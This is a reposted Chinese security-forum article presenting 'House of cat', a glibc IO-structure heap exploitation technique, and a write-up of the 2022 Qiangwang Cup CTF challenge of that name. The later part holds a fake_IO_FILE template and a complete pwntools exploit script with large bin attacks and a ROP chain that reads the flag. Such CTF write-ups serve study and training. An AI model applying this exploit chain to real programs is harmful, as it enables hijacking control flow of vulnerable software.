House of cat新型glibc中IO利用手法解析 & 第六届强网杯House of cat详解
2022-8-26 18:0:20 Author: 看雪学苑(查看原文) 阅读量:14 收藏


本文为看雪论坛优秀文章

看雪论坛作者ID:CatF1y

5月份偶然发现的一种新型GLIBC中IO利用思路,目前适用于任何版本(包括glibc2.35),命名为House of cat并出在2022强网杯中。

简介

House of emma是glibc2.34下常用的攻击手法之一,利用条件只需任意写一个可控地址就可以控制程序执行流,攻击威力十分强大。但是需要攻击位于TLS的_pointer_chk_guard,并且远程可能需要爆破TLS偏移。
 
House of Cat利用了House of emma的虚表偏移修改思想,通过修改虚表指针的偏移,避免了对需要绕过TLS上 _pointer_chk_guard的检测相关的IO函数的调用,转而调用_IO_wfile_jumps中的_IO_wfile_seekoff函数,然后进入到_IO_switch_to_wget_mode函数中来攻击,从而使得攻击条件和利用变得更为简单。并且house of cat在FSOP的情况下也是可行的,只需修改虚表指针的偏移来调用_IO_wfile_seekoff即可(通常是结合__malloc_assert,改vtable为_IO_wfile_jumps+0x10)。

利用条件

1.能够任意写一个可控地址。
2.能够泄露堆地址和libc基址。
3.能够触发IO流(FSOP或触发__malloc_assert),执行IO相关函数。

利用原理

IO_FILE结构及利用

在高版本libc中,当攻击条件有限(如不能造成任意地址写)或者libc版本中无hook函数(libc2.34及以后)时,伪造fake_IO进行攻击是一种常见可行的攻击方式,常见的触发IO函数的方式有FSOP、__malloc_assert,当进入IO流时会根据vtable指针调用相关的IO函数,如果在题目中造成任意地址写一个可控地址(如large bin attack、tcache stashing unlink attack、fastbin reverse into tcache),然后伪造fake_IO结构体配合恰当的IO调用链,可以达到控制程序执行流的效果。

vtable检查

在glibc2.24以后加入了对虚函数的检测,在调用虚函数之前首先会检查虚函数地址的合法性。
void _IO_vtable_check (void) attribute_hidden;static inline const struct _IO_jump_t *IO_validate_vtable (const struct _IO_jump_t *vtable){  uintptr_t section_length = __stop___libc_IO_vtables -__start___libc_IO_vtables;  uintptr_t ptr = (uintptr_t) vtable;  uintptr_t offset = ptr -(uintptr_t)__start___libc_IO_vtables;  if (__glibc_unlikely (offset >= section_length))    _IO_vtable_check ();  return vtable;}
其检查流程为:计算_IO_vtable 段的长度(section_length),用当前虚表指针的地址减去_IO_vtable 段的开始地址,如果vtable相对于开始地址的偏移大于等于section_length,那么就会进入_IO_vtable_check进行更详细的检查,否则的话会正常调用。如果vtable是非法的,进入_IO_vtable_check函数后会触发abort。
 
虽然对vtable的检查较为严格,但是对于具体位置和具体偏移的检测则是较为宽松的,可以修改vtable指针为虚表段内的任意位置,也就是对于某一个_IO_xxx_jumps的任意偏移,使得其调用攻击者想要调用的IO函数。

__malloc_assert与FSOP

在glibc中存在一个函数_malloc_assert,其中会根据vtable表如_IO_xxx_jumps调用IO等相关函数;该函数最终会根据stderr这个IO结构体进行相关的IO操作。


代码如下:
static void__malloc_assert (const char *assertion, const char *file, unsigned int line,         const char *function){  (void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",             __progname, __progname[0] ? ": " : "",             file, line,             function ? function : "", function ? ": " : "",             assertion);  fflush (stderr);  abort ();}
house of kiwi提供了一种调用该函数的思路,可以通过修改topchunk的大小触发,即满足下列条件中的一个:
1.topchunk的大小小于MINSIZE(0X20)
2.prev inuse位为0
3.old_top页未对齐
assert ((old_top == initial_top (av) && old_size == 0) ||        ((unsigned long) (old_size) >= MINSIZE &&         prev_inuse (old_top) &&         ((unsigned long) old_end & (pagesize - 1)) == 0));
下面介绍另一种触发house of cat的方式FSOP。
 
程序中所有的_IO_FILE 结构用_chain连接形成一个单链表,链表的头部则是_IO_list_all。
 
FSOP就是通过劫持_IO_list_all的值(如large bin attack修改)来执行_IO_flush_all_lockp函数,这个函数会根据_IO_list_all刷新链表中的所有文件流,在libc中代码如下,其中会调用vtable中的IO函数_IO_OVERFLOW,根据我们上面所说的虚表偏移可变思想,这个地方的虚表偏移也是可修改的,然后配合伪造IO结构体可以执行house of cat的调用链。
int_IO_flush_all_lockp (int do_lock){  ...  fp = (_IO_FILE *) _IO_list_all;  while (fp != NULL)  {       ...       if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base))               && _IO_OVERFLOW (fp, EOF) == EOF)           {               result = EOF;          }        ...  }}
触发条件则是有三种情况。

FSOP有三种情况(能从main函数中返回、程序中能执行exit函数、libc中执行abort),第三种情况在高版本中已经删除;__malloc_assert则是在malloc中触发,通常是修改top chunk的大小。

一种可行的IO调用链

在_IO_wfile_jumps结构体中,会根据虚表进行相关的函数调用。
const struct _IO_jump_t _IO_wfile_jumps libio_vtable ={  JUMP_INIT_DUMMY,  JUMP_INIT(finish, _IO_new_file_finish),  JUMP_INIT(overflow, (_IO_overflow_t) _IO_wfile_overflow),  JUMP_INIT(underflow, (_IO_underflow_t) _IO_wfile_underflow),  JUMP_INIT(uflow, (_IO_underflow_t) _IO_wdefault_uflow),  JUMP_INIT(pbackfail, (_IO_pbackfail_t) _IO_wdefault_pbackfail),  JUMP_INIT(xsputn, _IO_wfile_xsputn),  JUMP_INIT(xsgetn, _IO_file_xsgetn),  JUMP_INIT(seekoff, _IO_wfile_seekoff),  JUMP_INIT(seekpos, _IO_default_seekpos),  JUMP_INIT(setbuf, _IO_new_file_setbuf),  JUMP_INIT(sync, (_IO_sync_t) _IO_wfile_sync),  JUMP_INIT(doallocate, _IO_wfile_doallocate),  JUMP_INIT(read, _IO_file_read),  JUMP_INIT(write, _IO_new_file_write),  JUMP_INIT(seek, _IO_file_seek),  JUMP_INIT(close, _IO_file_close),  JUMP_INIT(stat, _IO_file_stat),  JUMP_INIT(showmanyc, _IO_default_showmanyc),  JUMP_INIT(imbue, _IO_default_imbue)};
其中_IO_wfile_seekoff函数代码如下:
off64_t_IO_wfile_seekoff (FILE *fp, off64_t offset, int dir, int mode){  off64_t result;  off64_t delta, new_offset;  long int count;   if (mode == 0)    return do_ftell_wide (fp);  int must_be_exact = ((fp->_wide_data->_IO_read_base            == fp->_wide_data->_IO_read_end)               && (fp->_wide_data->_IO_write_base               == fp->_wide_data->_IO_write_ptr));#需要绕过was_writing的检测  bool was_writing = ((fp->_wide_data->_IO_write_ptr               > fp->_wide_data->_IO_write_base)              || _IO_in_put_mode (fp));   if (was_writing && _IO_switch_to_wget_mode (fp))    return WEOF;......}
其中fp结构体是我们可以伪造的,可以控制fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base来调用_IO_switch_to_wget_mode这个函数,继续跟进代码。
int_IO_switch_to_wget_mode (FILE *fp){  if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)    if ((wint_t)_IO_WOVERFLOW (fp, WEOF) == WEOF)      return EOF;  ......}
而_IO_WOVERFLOW是glibc里定义的一个宏调用函数。
#define _IO_WOVERFLOW(FP, CH) WJUMP1 (__overflow, FP, CH)#define WJUMP1(FUNC, THIS, X1) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
对_IO_WOVERFLOW没有进行任何检测,为了便于理解,我们再来看看汇编代码。
► 0x7f4cae745d30 <_IO_switch_to_wget_mode>       endbr64  0x7f4cae745d34 <_IO_switch_to_wget_mode+4>     mov    rax, qword ptr [rdi + 0xa0]  0x7f4cae745d3b <_IO_switch_to_wget_mode+11>    push   rbx  0x7f4cae745d3c <_IO_switch_to_wget_mode+12>    mov    rbx, rdi  0x7f4cae745d3f <_IO_switch_to_wget_mode+15>    mov    rdx, qword ptr [rax + 0x20]  0x7f4cae745d43 <_IO_switch_to_wget_mode+19>    cmp    rdx, qword ptr [rax + 0x18]  0x7f4cae745d47 <_IO_switch_to_wget_mode+23>    jbe    _IO_switch_to_wget_mode+56                <_IO_switch_to_wget_mode+56>   0x7f4cae745d49 <_IO_switch_to_wget_mode+25>    mov    rax, qword ptr [rax + 0xe0]  0x7f4cae745d50 <_IO_switch_to_wget_mode+32>    mov    esi, 0xffffffff  0x7f4cae745d55 <_IO_switch_to_wget_mode+37>    call   qword ptr [rax + 0x18]
主要关注这几句,做了以下几点事情:
 
1.将[rdi+0xa0]处的内容赋值给rax,为了避免与下面的rax混淆,称之为rax1。

2.将新赋值的[rax1+0x20]处的内容赋值给rdx。

3.将[rax1+0xe0]处的内容赋值给rax,称之为rax2。

4.call调用[rax2+0x18]处的内容。
0x7f4cae745d34 <_IO_switch_to_wget_mode+4>     mov    rax, qword ptr [rdi + 0xa0]0x7f4cae745d3f <_IO_switch_to_wget_mode+15>    mov    rdx, qword ptr [rax + 0x20]0x7f4cae745d49 <_IO_switch_to_wget_mode+25>    mov    rax, qword ptr [rax + 0xe0]0x7f4cae745d55 <_IO_switch_to_wget_mode+37>    call   qword ptr [rax + 0x18]
而rdi现在是什么状态呢?gdb调试来看看。

可以看到这是一个堆地址,而实际上此时rdi就是伪造的IO结构体的地址,也是可控的。
 
在造成任意地址写一个堆地址的基础上,这里的寄存器rdi(fake_IO的地址)、rax和rdx都是我们可以控制的,在开启沙箱的情况下,假如把最后调用的[rax + 0x18]设置为setcontext,把rdx设置为可控的堆地址,就能执行srop来读取flag;如果未开启沙箱,则只需把最后调用的[rax + 0x18]设置为system函数,把fake_IO的头部写入/bin/sh字符串,就可执行system("/bin/sh")。

fake_IO结构体需要绕过的检测

_wide_data->_IO_read_ptr != _wide_data->_IO_read_end_wide_data->_IO_write_ptr > _wide_data->_IO_write_base#如果_wide_data=fake_io_addr+0x30,其实也就是fp->_IO_save_base < f->_IO_backup_basefp->_lock是一个可写地址(堆地址、libc中的可写地址)

攻击流程

1.修改_IO_list_all为可控地址(FSOP)或修改stderr为可控地址(__malloc_assert)。
2.在上一步的可控地址中伪造fake_IO结构体(也可以在任意地址写的情况下修改stderr、stdout等结构体)。
3.通过FSOP或malloc触发攻击。

为了便于理解,画个图:

模板

house of cat的模板,原理参照上图。伪造IO结构体时只需修改fake_io_addr地址,_IO_save_end为想要调用的函数,_IO_backup_base为执行函数时的rdx,以及修改_flags为执行函数时的rdi。
fake_io_addr=heapbase+0xb00 # 伪造的fake_IO结构体的地址next_chain = 0fake_IO_FILE=p64(rdi)         #_flags=rdifake_IO_FILE+=p64(0)*7fake_IO_FILE +=p64(1)+p64(0)fake_IO_FILE +=p64(fake_io_addr+0xb0)#_IO_backup_base=rdxfake_IO_FILE +=p64(call_addr)#_IO_save_end=call addr(call setcontext/system)fake_IO_FILE = fake_IO_FILE.ljust(0x58, '\x00')fake_IO_FILE += p64(0)  # _chainfake_IO_FILE = fake_IO_FILE.ljust(0x78, '\x00')fake_IO_FILE += p64(heapbase+0x1000)  # _lock = a writable addressfake_IO_FILE = fake_IO_FILE.ljust(0x90, '\x00')fake_IO_FILE +=p64(fake_io_addr+0x30)#_wide_data,rax1_addrfake_IO_FILE = fake_IO_FILE.ljust(0xB0, '\x00')fake_IO_FILE += p64(0)fake_IO_FILE = fake_IO_FILE.ljust(0xC8, '\x00')fake_IO_FILE += p64(libcbase+0x2160c0+0x10)  # vtable=IO_wfile_jumps+0x10fake_IO_FILE +=p64(0)*6fake_IO_FILE += p64(fake_io_addr+0x40)  # rax2_addr

保护与沙箱



保护全开,禁用了execve还检查了read的fd。

分析



main函数在每一次循环开始有对tcache_bins的赋值,相当于不让打tcache_bins造成任意地址写。

sub_1A50函数对输入的cmd进行了格式检查,返回值部位0才能进入到do_cmd,do_cmd则是能够执行到堆块管理结构,先来看sub_1A50,为了便于查看,这里用代码展示:
__int64 __fastcall sub_1A50(char *a1, __int64 a2){  char *s; // [rsp+18h] [rbp-28h]  char *v4; // [rsp+20h] [rbp-20h]  char *v5; // [rsp+20h] [rbp-20h]  char *v6; // [rsp+20h] [rbp-20h]  const char *s2; // [rsp+28h] [rbp-18h]  char *v8; // [rsp+30h] [rbp-10h]  const char *s1; // [rsp+38h] [rbp-8h]   v4 = strstr(a1, "QWB");  if ( !v4 )    return 0LL; //包含 QWB,否则返回0也就是不能执行do_cmd  *v4 = 0;  v4[1] = 0;  v4[2] = 32;  v5 = v4 + 3;  s2 = strtok(a1, " "); //用空格分隔开  if ( !strcmp("LOGIN", s2) )  {    *(_BYTE *)(a2 + 8) = 1;  }  else if ( *(_BYTE *)(a2 + 8) || strcmp("DOG", s2) )  {    if ( *(_BYTE *)(a2 + 8) || strcmp("CAT", s2) )    {      if ( *(_BYTE *)(a2 + 8) || strcmp("MONKEY", s2) )      {        if ( *(_BYTE *)(a2 + 8) || strcmp("FISH", s2) )        {          if ( *(_BYTE *)(a2 + 8) || strcmp("PIG", s2) )          {            if ( *(_BYTE *)(a2 + 8) || strcmp("WOLF", s2) )            {              if ( *(_BYTE *)(a2 + 8) || strcmp("DUCK", s2) )              {                if ( *(_BYTE *)(a2 + 8) || strcmp("GOLF", s2) )                {                  if ( *(_BYTE *)(a2 + 8) || strcmp("TIGER", s2) )                    return 0LL;                  *(_BYTE *)(a2 + 8) = 10;                }                else                {                  *(_BYTE *)(a2 + 8) = 9;                }              }              else              {                *(_BYTE *)(a2 + 8) = 8;              }            }            else            {              *(_BYTE *)(a2 + 8) = 7;            }          }          else          {            *(_BYTE *)(a2 + 8) = 6;          }        }        else        {          *(_BYTE *)(a2 + 8) = 5;        }      }      else      {        *(_BYTE *)(a2 + 8) = 4;      }    }    else    {      *(_BYTE *)(a2 + 8) = 3;    }  }  else  {    *(_BYTE *)(a2 + 8) = 2;  }  v8 = strtok(0LL, " ");  if ( v8 != strchr(v8, '|') )//查找'|'的第一个匹配之处    return 0LL;  *(_QWORD *)a2 = v8;  s1 = strtok(0LL, " ");  if ( strcmp(s1, "r00t") ) //比较'r00t’的存在    return 0LL;  s = v5 + 5;  v6 = strstr(v5, "QWXF");//检查是否有'QWXF'  if ( !v6 )    return 0LL;  *v6 = 0;  v6[1] = 0;  v6[2] = 0;  v6[3] = 32;  *(_QWORD *)(a2 + 16) = s;  return 1LL;}
再来看看do_cmd函数:
__int64 __fastcall sub_1DF3(__int64 a1){  __int64 result; // rax  unsigned int v2; // eax  char *v3; // [rsp+18h] [rbp-8h]   if ( *(_BYTE *)(a1 + 8) == 1 && !strcmp(*(const char **)(a1 + 16), "admin") )    dword_4040[0] = 1;//login  result = *(unsigned __int8 *)(a1 + 8);  if ( (_BYTE)result == 3 )  {    result = (__int64)strtok(*(char **)(a1 + 16), "$");    v3 = (char *)result;    if ( result )    {      result = dword_4014;//      if ( *v3 == dword_4014 )      {        result = dword_4040[0];        if ( dword_4040[0] )        {          menu();          v2 = getnumber();          if ( v2 == 4 )          {            return edit();          }          else          {            if ( v2 <= 4 )            {              switch ( v2 )              {                case 3u:                  return show();                case 1u:                  return add();                case 2u:                  return delete();              }            }            return output("error!\n");          }        }      }    }  }  return result;};      if ( *v3 == dword_4014 )//dword_4014检查是否为0xffffffff      {        result = dword_4040[0];//dword_4040[0]检查是否login        if ( dword_4040[0] )        {          menu();          v2 = getnumber();          if ( v2 == 4 )          {            return edit();          }          else          {            if ( v2 <= 4 )            {              switch ( v2 )              {                case 3u:                  return show();                case 1u:                  return add();                case 2u:                  return delete();              }            }            return output("error!\n");          }        }      }    }  }  return result;}
这里需要了解一下strtok等几个函数的作用,可以gdb动态调试结合静态逆向,不再赘述。首先我们需要login,然后再进入堆块管理函数,格式为:
LOGIN | r00t QWB QWXFadminCAT | r00t QWB QWXF$\xff
重点看一下堆块管理函数。

add函数,calloc申请堆块,大小在0x418-0x470之间。

delete函数有UAF。

edit函数只能编写48个字节(防止UAF造成溢出),且只有2次机会。

利用

无法退出main函数,也没有exit等能造成FSOP的方式,但是stderr不在bss上而在libc中,可以在得到libc地址后large bin attack位于libc中的stderr,再在得到heap地址的基础上修改top chunk的size,这里用large bin attack修改。所以两次edit相当于给了两次large bin attack的机会,一次用来large bin attack stderr,一次用来large bin attack topchunk's size。另外由于对fd的检查,需要close(0)使flag文件的文件描述符为0,或者用mmap函数将flag映射读入。

1.泄露libc地址和堆地址

2.large bin attack stderr

3.large bin attack topchunk's size

4.伪造fake_IO

5.触发__malloc_assert,进入_IO_wfile_seekoff转到_IO_switch_to_wget_mode

6.setcontext执行rop链

exp

from pwn import *p=process('./houseofcat')libc=ELF('./libc.so.6')context.log_level='debug'r = lambda x: p.recv(x)ra = lambda: p.recvall()rl = lambda: p.recvline(keepends=True)ru = lambda x: p.recvuntil(x, drop=True)sl = lambda x: p.sendline(x)sa = lambda x, y: p.sendafter(x, y)sla = lambda x, y: p.sendlineafter(x, y)ia = lambda: p.interactive()c = lambda: p.close()li = lambda x: log.info(x)db = lambda: gdb.attach(p)sa('mew mew mew~~~~~~','LOGIN | r00t QWB QWXFadmin')def add(idx,size,cont):    sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')    sla('plz input your cat choice:\n',str(1))    sla('plz input your cat idx:\n',str(idx))    sla('plz input your cat size:\n',str(size))    sa('plz input your content:\n',cont)def delete(idx):    sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')    sla('plz input your cat choice:\n', str(2))    sla('plz input your cat idx:\n',str(idx))def show(idx):    sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')    sla('plz input your cat choice:\n', str(3))    sla('plz input your cat idx:\n',str(idx))def edit(idx,cont):    sa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')    sla('plz input your cat choice:\n', str(4))    sla('plz input your cat idx:\n',str(idx))    sa('plz input your content:\n', cont)#gdb.attach(p,'b* $rebase(0x1DDD)')add(0,0x420,'aaa')add(1,0x430,'bbb')add(2,0x418,'ccc')delete(0)add(3,0x440,'ddd')show(0)ru('Context:\n')libcbase=u64(p.recv(6).ljust(8,'\x00'))-0x21a0d0info('libc->'+hex(libcbase))rdi=libcbase+0x000000000002a3e5rsi=libcbase+0x000000000002be51rdxr12=libcbase+0x000000000011f497ret=libcbase+0x0000000000029cd6rax=libcbase+0x0000000000045eb0stderr=libcbase+libc.sym['stderr']setcontext=libcbase+libc.sym['setcontext']close=libcbase+libc.sym['close']read=libcbase+libc.sym['read']write=libcbase+libc.sym['write']syscallret=libcbase+libc.search(asm('syscall\nret')).next()p.recv(10)heapaddr=u64(p.recv(6).ljust(8,'\x00'))-0x290info('heap->'+hex(heapaddr))#fake IOioaddr=heapaddr+0xb00next_chain = 0fake_IO_FILE = p64(0)*4fake_IO_FILE +=p64(0)fake_IO_FILE +=p64(0)fake_IO_FILE +=p64(1)+p64(0)fake_IO_FILE +=p64(heapaddr+0xc18-0x68)#rdxfake_IO_FILE +=p64(setcontext+61)#call addrfake_IO_FILE = fake_IO_FILE.ljust(0x58, '\x00')fake_IO_FILE += p64(0 )  # _chainfake_IO_FILE = fake_IO_FILE.ljust(0x78, '\x00')fake_IO_FILE += p64(heapaddr+0x200)  # _lock = writable addressfake_IO_FILE = fake_IO_FILE.ljust(0x90, '\x00')fake_IO_FILE +=p64(heapaddr+0xb30) #rax1fake_IO_FILE = fake_IO_FILE.ljust(0xB0, '\x00')fake_IO_FILE += p64(0)  # _mode = 0fake_IO_FILE = fake_IO_FILE.ljust(0xC8, '\x00')fake_IO_FILE += p64(libcbase+0x2160d0)  # vtable=IO_wfile_jumps+0x10fake_IO_FILE +=p64(0)*6fake_IO_FILE += p64(heapaddr+0xb30+0x10)  # rax2flagaddr=heapaddr+0x17d0payload1=fake_IO_FILE+p64(flagaddr)+p64(0)+p64(0)*5+p64(heapaddr+0x2050)+p64(ret)delete(2)add(6,0x418,payload1)delete(6)#large bin attack stderr poiniteredit(0,p64(libcbase+0x21a0d0)*2+p64(heapaddr+0x290)+p64(stderr-0x20))add(5,0x440,'aaaaa')add(7,0x430,'flag')add(8,0x430,'eee')#roppayload=p64(rdi)+p64(0)+p64(close)+p64(rdi)+p64(flagaddr)+p64(rsi)+p64(0)+p64(rax)+p64(2)+p64(syscallret)+p64(rdi)+p64(0)+p64(rsi)+p64(flagaddr)+p64(rdxr12)+p64(0x50)+p64(0)+p64(read)+p64(rdi)+p64(1)+p64(write)add(9,0x430,payload)delete(5)add(10,0x450,p64(0)+p64(1))delete(8)# large bin attack topchunk's sizeedit(5,p64(libcbase+0x21a0e0)*2+p64(heapaddr+0x1370)+p64(heapaddr+0x28e0-0x20+3))#trigger __malloc_assertsa('mew mew mew~~~~~~', 'CAT | r00t QWB QWXF$\xff')sla('plz input your cat choice:\n',str(1))sla('plz input your cat idx:',str(11))gdb.attach(p,'b* (_IO_wfile_seekoff)')sla('plz input your cat size:',str(0x450))p.interactive()

结语

在2022强网杯比赛中,由于一位大佬在前一天提供了另一种攻击手法,并且也可以用堆风水结合house of emma进行攻击,导致这道题目难度降低了很多。
顺便说一下,house of apple2和house of emma也是优秀的攻击手法,但是强网杯house of cat这道题目本意不是通过现成的攻击方式来利用,而是考察现找IO链的能力,题目解法不限于一种,感兴趣的师傅可以自行去研究其他的攻击方式。

看雪ID:CatF1y

https://bbs.pediy.com/user-home-959842.htm

*本文由看雪论坛 CatF1y 原创,转载请注明来自看雪社区

# 往期推荐

1.实现一个压缩壳,并给它加点“料”

2.formbook脱壳记

3.CVE-2021-1732提权漏洞学习笔记

4.带加密字符串的.NET样本分析的一些技巧

5.[安全运维向]模拟搭建小型企业内网

6.Tenda摄像头分析

球分享

球点赞

球在看

点击“阅读原文”,了解更多!


文章来源: http://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458465726&idx=1&sn=1825492dd76fb697decccef216c5c37a&chksm=b18e053486f98c223c6d4061df0f12da6599ff43e1836d453579c910bcc59c7b547c703bf7f1#rd
如有侵权请联系:admin#unsafe.sh